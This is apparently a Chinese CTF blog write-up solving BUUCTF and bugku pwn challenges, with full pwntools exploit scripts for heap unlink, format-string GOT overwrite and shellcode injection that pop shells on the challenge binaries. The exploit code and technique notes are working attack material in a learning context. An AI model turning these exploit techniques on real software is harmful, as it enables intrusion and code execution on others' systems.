buuctf pwn(wustctf2020_closed)(hitcontraining_magicheap)(axb_2019_fmt32)

wustctf2020_closed

在这里插入图片描述
在这里插入图片描述
close()这个函数的作用是什么,发现是1是正常输出,2是错误输出,之后返回的是shell,那么我们直接进行重定向进行输出,输入exec 1>&0然后就能获得shell

hitcontraining_magicheap

checksec一下
在这里插入图片描述
开始审计代码
菜单:
在这里插入图片描述
1.申请堆块,输入堆块大小,并填充内容,并把申请的堆块指针放到bss里了
在这里插入图片描述

2.编辑堆块,根据bss段里的指针,来找到相应的堆块,然后输入大小,再填充内容,并未检测原本输入堆块内容的大小,那么此处存在堆溢出。

在这里插入图片描述
3.释放堆块,指针置零了,所以不存在uaf
在这里插入图片描述
和之前做过的一个题目很像,这个题目还有后门函数,所以
这个题可以和上个题目一样,用unlink修改free的got地址为system的plt地址
或者选择走后门函数,把bss段内的magic的值修改为比0x1305大的数就行
在这里插入图片描述
在这里插入图片描述
脚本如下:

from pwn import *
context(log_level='debug',os='linux',arch='i386')
#p=process("./pwn25")
elf=ELF("./pwn25")
p=remote("node4.buuoj.cn",25810)
bss=0x6020A0
heaparray_addr=0x6020C0
def bug():
	gdb.attach(p)
	pause()
def add(size,c):
	p.recvuntil("Your choice :")
	p.sendline(str(1))
	p.sendlineafter(b"Size of Heap : ",str(size))
	p.sendafter(b"Content of heap:",c)
def edit(i,size,c):
	p.recvuntil("Your choice :")
	p.sendline(str(2))
	p.sendlineafter(b"Index :",str(i))
	p.sendlineafter(b"Size of Heap : ",str(size))
	p.sendafter(b"Content of heap : ",c)
def free(i):
	p.recvuntil("Your choice :")
	p.sendline(str(3))
	p.sendlineafter(b"Index :",str(i))

add(0x90,b'a'*8)
add(0x90,b'a'*8)
add(0x20,b'/bin/sh\x00')
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)
edit(0,0x100,fake_chunk)
free(1)
#走后门
''' 
edit(0,0x20,p64(bss)*4)   
edit(0,0x8,p64(0x1305+1))
'''
#修改got表
edit(0,0x20,p64(elf.got['free'])*4)
edit(0,0x8,p64(elf.plt['system']))
free(2)

p.interactive()

axb_2019_fmt32

checksec 一下
在这里插入图片描述
看一下程序逻辑
在这里插入图片描述

程序有alarm闹钟函数,并且有明显的格式化字符串漏洞,而且能无限利用格式化字符串漏洞,本来想用我之前的那种解法直接解决的,但是遇到了些问题(下面说),而且这个题目got表可写,所以还是老老实实打got表吧

程序中没有system函数,所以先泄露libc_base然后得到system函数地址
再把strlen的got表改成system函数地址,思路清晰,ok开搞

在这里插入图片描述

发现4个A分开了,所以可以在最开始选择填充一个(新学到的方法)如下图:
在这里插入图片描述
这下四个A在一块了,数一下,偏移为8
第一次泄露libc

p.recvuntil("Please tell me:")
pay=b'%151$p%2$p'
#bug()
p.send(pay)
p.recvuntil("Repeater:")
libc_base=int(p.recv(10),16)-245-libc.sym['__libc_start_main']
print(hex(libc_base))
system=libc_base+libc.sym['system']

第二次把strlen的got表改成system地址

p.recvuntil("Please tell me:")
pay=b'a'+fmtstr_payload(8,{
    
    elf.got['strlen']:system},write_size='short',numbwritten=0xa)
#bug()
p.send(pay)

这里有个 numbwritten=0xa 表示已经输出的字符个数,第一次学习的时候学习了这个东西,但是好久没用过就给忘了,所以记录一下
如果不加这个参数,程序会报错(卡了好久,才发现的问题)
这里用一下本地的libc吧,远程libc不同,而且泄露的libc_start_main+x也不一样,这里就不再看远程的了
脚本如下:

from pwn import *
from struct import pack
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#p=remote("node4.buuoj.cn",29714)
p=process("./pwn26")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("./pwn26")
def bug():
	gdb.attach(p)
	pause()
	
p.recvuntil("Please tell me:")
pay=b'%151$p%2$p'
#bug()
p.send(pay)
p.recvuntil("Repeater:")
libc_base=int(p.recv(10),16)-245-libc.sym['__libc_start_main']
print(hex(libc_base))
stack=int(p.recv(10),16)-35
print(hex(stack))
system=libc_base+libc.sym['system']

p.recvuntil("Please tell me:")
pay=b'a'+fmtstr_payload(8,{
    
    elf.got['strlen']:system},write_size='short',numbwritten=0xa)
#bug()
p.send(pay)
pause() #防止两次输入压到一块输入
p.sendline(b';/bin/sh\x00')#这里由于输入的内容会被加入其他字符,所以要有 ; 隔开,这样才能getshell

p.interactive()

这里总结一下自己的遇到的问题:
1.fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)的参数 numbwritten=0的含义,以及用处
2.在偏移不在一个栈地址中,可以填充字符,方便找到参数偏移(上文中填充的b)
3.在/bin/sh前面有字符干扰的时候,可以选择用 ; 号分开

bugku awd s2 -17

这个题目一直把心思放到后面堆上边了

然后直到训练赛快结束的前几分钟才解出来这个题目
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
到这里就能完整利用漏洞getshell了,但是我前面一直在想后面的代码
这里先说正确思路吧
通过v2读入shellcode并且泄露出stack地址找到偏移得出shellcode的地址
在这里插入图片描述
再通过读入,覆盖dest的指针为free的got表地址,然后strcpy将free的got表地址的地址覆盖为shllcode的地址
在这里插入图片描述
再通过后面的free,getshell
脚本如下:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("node4.buuoj.cn",26715)
p=process("./pwn")
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
free_got=elf.got['free']

def bug():
	gdb.attach(p)
	pause()

def add(i,con):
	p.recvuntil("your choice :")
	p.sendline(str(1))
	p.sendlineafter("how long?",str(i))
	p.sendline("give me more money : ",con)

def free():
	p.recvuntil("your choice :")
	p.sendline(str(2))

p.recvuntil("who are u?\n")
pay=(asm(shellcraft.sh())).ljust(0x30,b'\x90')
p.send(pay)
stack=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x50
print(hex(stack))

p.recvuntil("give me your id ~~?\n")
p.sendline(b'1')
p.recvuntil("give me money~\n")
pay=p64(stack)+b'\x00'*8+p64(free_got)*6   #通过\x00绕过strcpy
bug()
p.send(pay)
free()

p.interactive()

然后再说一下我被误导的地方吧
让nbytes=-1,就能无限读入,造成堆溢出了,但是我忽略了一点,malloc(nbytes),这里是不能为-1的(当时没注意)
在这里插入图片描述
然后就一直在想如何让这个函数返回值为-1
在这里插入图片描述
这里是被过滤完了(应该是被过滤完了,哪位佬发现能绕过,可以指点我一下)
这次的awd训练赛让我学到了,要仔细审计代码,不能漏过任何一个漏洞点。

猜你喜欢

转载自blog.csdn.net/cainiao78777/article/details/130162069